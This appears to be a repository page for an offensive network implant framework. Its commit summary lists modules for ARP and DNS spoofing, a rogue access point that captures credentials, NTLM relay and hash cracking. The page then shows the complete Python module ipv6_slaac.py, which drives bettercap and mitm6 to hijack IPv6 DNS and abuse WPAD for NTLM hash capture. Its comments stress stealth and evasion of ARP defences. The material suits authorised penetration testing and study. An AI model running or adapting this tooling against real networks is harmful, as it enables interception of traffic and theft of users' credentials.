ba5143b560
Active modules (9 files in modules/active/): - bettercap_mgr: Central bettercap orchestrator with REST API health monitoring, event stream parsing, crash recovery with corrective gratuitous ARPs, caplet management, and process disguise - arp_spoof: Thin bettercap wrapper for ARP spoofing with OPSEC warnings - dns_poison: DNS poisoning with zone template loading support - dhcp_spoof: DHCPv6 spoofing via bettercap for rogue DNS injection - evil_twin: hostapd-based rogue AP with captive portal and dnsmasq, iptables redirect, credential capture via HTTP POST handler - ipv6_slaac: IPv6 SLAAC spoofing via bettercap + mitm6 WPAD abuse - responder_mgr: Responder subprocess manager with hash file monitoring, NTLMv1/v2 parsing, session log scanning, relay target coordination - mitmproxy_mgr: Transparent proxy with addon scripts, tier checking (OPi Zero 3+ only), iptables setup, credential/token extraction - ntlm_relay: ntlmrelayx wrapper with multi-protocol relay (SMB, LDAP, LDAPS, HTTP, MSSQL, ADCS), Responder exclusion coordination, SOCKS Templates (9 files): - 4 captive portals: corporate SSO, guest WiFi, Outlook/M365, VPN (self-contained HTML with inline CSS, realistic login forms) - 2 DNS zones: redirect-all and selective Jinja2 template - 2 hostapd configs: open AP and WPA2-PSK Jinja2 templates - 1 Responder.conf Jinja2 template with protocol toggles Operator scripts (6 files in scripts/operator/): - pull_data.sh: rsync structured data over WireGuard/Tailscale - extract_files.sh: tshark HTTP/SMB/FTP/TFTP file extraction - extract_print_jobs.sh: TCP/9100 print job reconstruction + PDF convert - extract_emails.sh: SMTP email extraction with attachment detection - crack_hashes.sh: Export creds to hashcat format, optional auto-crack - generate_report.py: SQLite-to-Markdown/HTML engagement report generator
259 lines
8.7 KiB
Python
259 lines
8.7 KiB
Python
#!/usr/bin/env python3
|
|
"""IPv6 SLAAC Spoofing — RA injection + WPAD abuse via mitm6.
|
|
|
|
Exploits IPv6 SLAAC autoconfiguration to inject a rogue DNS server.
|
|
Combines two approaches:
|
|
1. bettercap dhcp6.spoof: Router Advertisement injection
|
|
2. mitm6: Targeted WPAD/DNS takeover via IPv6
|
|
|
|
This is significantly stealthier than ARP spoofing — most networks
|
|
have IPv6 enabled but unmonitored, and DAI does not cover IPv6.
|
|
"""
|
|
|
|
import logging
|
|
import os
|
|
import subprocess
|
|
import threading
|
|
import time
|
|
from typing import Optional
|
|
|
|
from modules.base import BaseModule
|
|
|
|
logger = logging.getLogger("bb.active.ipv6_slaac")
|
|
|
|
|
|
class IPv6SLAAC(BaseModule):
|
|
"""IPv6 SLAAC spoofing via bettercap + mitm6.
|
|
|
|
Dependencies:
|
|
- bettercap_mgr must be running (for dhcp6.spoof)
|
|
- mitm6 must be installed (pip install mitm6)
|
|
|
|
Configuration:
|
|
target_domain: Domain to target with mitm6 WPAD abuse
|
|
mitm6_binary: Path to mitm6 (default: /opt/tools/mitm6/mitm6)
|
|
interface: Network interface (default: eth0)
|
|
"""
|
|
|
|
name = "ipv6_slaac"
|
|
module_type = "active"
|
|
priority = 200
|
|
requires_root = True
|
|
dependencies = ["bettercap_mgr"]
|
|
|
|
def __init__(self, bus, state, config, engine=None):
|
|
super().__init__(bus, state, config, engine)
|
|
self._bettercap_mgr = None
|
|
self._mitm6_proc: Optional[subprocess.Popen] = None
|
|
self._mitm6_thread: Optional[threading.Thread] = None
|
|
self._slaac_active = False
|
|
self._mitm6_active = False
|
|
self._mitm6_binary = config.get("mitm6_binary", "/opt/tools/mitm6/mitm6")
|
|
self._iface = config.get("interface", "eth0")
|
|
self._target_domain: Optional[str] = None
|
|
|
|
# ------------------------------------------------------------------
|
|
# BaseModule interface
|
|
# ------------------------------------------------------------------
|
|
|
|
def start(self) -> None:
|
|
if self._running:
|
|
return
|
|
|
|
self._bettercap_mgr = self.config.get("bettercap_mgr")
|
|
if not self._bettercap_mgr:
|
|
logger.error("IPv6SLAAC requires bettercap_mgr reference in config")
|
|
return
|
|
|
|
self._running = True
|
|
self._pid = os.getpid()
|
|
self._start_time = time.time()
|
|
|
|
self.state.set_module_status(self.name, "running", pid=self._pid)
|
|
logger.info("IPv6SLAAC module started (ready for SLAAC/mitm6 commands)")
|
|
|
|
def stop(self) -> None:
|
|
if not self._running:
|
|
return
|
|
|
|
self.stop_all()
|
|
self._running = False
|
|
self.state.set_module_status(self.name, "stopped")
|
|
logger.info("IPv6SLAAC module stopped")
|
|
|
|
def status(self) -> dict:
|
|
mitm6_alive = (
|
|
self._mitm6_proc is not None and self._mitm6_proc.poll() is None
|
|
)
|
|
return {
|
|
"running": self._running,
|
|
"pid": self._pid,
|
|
"uptime": time.time() - self._start_time if self._start_time else 0,
|
|
"slaac_active": self._slaac_active,
|
|
"mitm6_active": self._mitm6_active and mitm6_alive,
|
|
"target_domain": self._target_domain,
|
|
"interface": self._iface,
|
|
}
|
|
|
|
def configure(self, config: dict) -> None:
|
|
self.config.update(config)
|
|
if "interface" in config:
|
|
self._iface = config["interface"]
|
|
if "mitm6_binary" in config:
|
|
self._mitm6_binary = config["mitm6_binary"]
|
|
|
|
# ------------------------------------------------------------------
|
|
# Public API
|
|
# ------------------------------------------------------------------
|
|
|
|
def start_slaac(self) -> bool:
|
|
"""Enable IPv6 SLAAC spoofing via bettercap dhcp6.spoof.
|
|
|
|
Injects Router Advertisements to become the IPv6 DNS server
|
|
for all hosts on the segment.
|
|
|
|
Returns:
|
|
True if SLAAC spoofing was enabled.
|
|
"""
|
|
if not self._running or not self._bettercap_mgr:
|
|
logger.error("IPv6SLAAC not started")
|
|
return False
|
|
|
|
try:
|
|
self._bettercap_mgr.run_command("dhcp6.spoof on")
|
|
self._slaac_active = True
|
|
self.state.set(self.name, "slaac_active", "true")
|
|
logger.info("IPv6 SLAAC spoofing enabled via bettercap")
|
|
return True
|
|
except Exception:
|
|
logger.exception("Failed to enable SLAAC spoofing")
|
|
return False
|
|
|
|
def start_mitm6(self, domain: str = None) -> bool:
|
|
"""Start mitm6 for WPAD abuse and DNS takeover via IPv6.
|
|
|
|
mitm6 sends RA messages advertising itself as the IPv6 DNS
|
|
server, then responds to WPAD requests to redirect proxy
|
|
configuration. Effective for NTLM hash capture when combined
|
|
with ntlmrelayx.
|
|
|
|
Args:
|
|
domain: Target domain for WPAD abuse (e.g., "corp.local").
|
|
|
|
Returns:
|
|
True if mitm6 was started.
|
|
"""
|
|
if not self._running:
|
|
logger.error("IPv6SLAAC not started")
|
|
return False
|
|
|
|
if self._mitm6_active and self._mitm6_proc and self._mitm6_proc.poll() is None:
|
|
logger.warning("mitm6 already running")
|
|
return True
|
|
|
|
self._target_domain = domain or self.config.get("target_domain", "")
|
|
|
|
cmd = [self._mitm6_binary, "-i", self._iface]
|
|
if self._target_domain:
|
|
cmd.extend(["-d", self._target_domain])
|
|
|
|
try:
|
|
self._mitm6_proc = subprocess.Popen(
|
|
cmd,
|
|
stdout=subprocess.PIPE,
|
|
stderr=subprocess.PIPE,
|
|
)
|
|
time.sleep(2)
|
|
if self._mitm6_proc.poll() is not None:
|
|
stderr = self._mitm6_proc.stderr.read().decode(errors="replace")
|
|
logger.error("mitm6 failed to start: %s", stderr)
|
|
return False
|
|
|
|
self._mitm6_active = True
|
|
|
|
# Start output monitoring thread
|
|
self._mitm6_thread = threading.Thread(
|
|
target=self._monitor_mitm6, daemon=True, name="bb-mitm6-monitor"
|
|
)
|
|
self._mitm6_thread.start()
|
|
|
|
self.state.set(self.name, "mitm6_active", "true")
|
|
logger.info(
|
|
"mitm6 started (pid=%d, domain=%s)",
|
|
self._mitm6_proc.pid, self._target_domain or "all",
|
|
)
|
|
return True
|
|
|
|
except FileNotFoundError:
|
|
logger.error("mitm6 not found at %s", self._mitm6_binary)
|
|
return False
|
|
except Exception:
|
|
logger.exception("Failed to start mitm6")
|
|
return False
|
|
|
|
def stop_all(self) -> bool:
|
|
"""Stop all IPv6 SLAAC and mitm6 operations.
|
|
|
|
Returns:
|
|
True if all components were stopped.
|
|
"""
|
|
success = True
|
|
|
|
# Stop SLAAC spoofing
|
|
if self._slaac_active and self._bettercap_mgr:
|
|
try:
|
|
self._bettercap_mgr.run_command("dhcp6.spoof off")
|
|
self._slaac_active = False
|
|
self.state.set(self.name, "slaac_active", "false")
|
|
logger.info("SLAAC spoofing disabled")
|
|
except Exception:
|
|
logger.exception("Failed to disable SLAAC spoofing")
|
|
success = False
|
|
|
|
# Stop mitm6
|
|
if self._mitm6_proc and self._mitm6_proc.poll() is None:
|
|
try:
|
|
self._mitm6_proc.terminate()
|
|
self._mitm6_proc.wait(timeout=5)
|
|
except subprocess.TimeoutExpired:
|
|
self._mitm6_proc.kill()
|
|
try:
|
|
self._mitm6_proc.wait(timeout=2)
|
|
except Exception:
|
|
pass
|
|
except Exception:
|
|
logger.exception("Failed to stop mitm6")
|
|
success = False
|
|
self._mitm6_proc = None
|
|
|
|
self._mitm6_active = False
|
|
self.state.set(self.name, "mitm6_active", "false")
|
|
return success
|
|
|
|
# ------------------------------------------------------------------
|
|
# mitm6 output monitoring
|
|
# ------------------------------------------------------------------
|
|
|
|
def _monitor_mitm6(self) -> None:
|
|
"""Monitor mitm6 stderr for authentication events."""
|
|
if not self._mitm6_proc:
|
|
return
|
|
|
|
try:
|
|
for line in iter(self._mitm6_proc.stderr.readline, b""):
|
|
if not self._running:
|
|
break
|
|
decoded = line.decode("utf-8", errors="replace").strip()
|
|
if not decoded:
|
|
continue
|
|
|
|
# mitm6 logs DNS queries and WPAD requests
|
|
if "Sent spoofed" in decoded or "IPv6 address" in decoded:
|
|
logger.debug("mitm6: %s", decoded)
|
|
|
|
# Check for process exit
|
|
if self._mitm6_proc.poll() is not None:
|
|
break
|
|
except Exception:
|
|
pass
|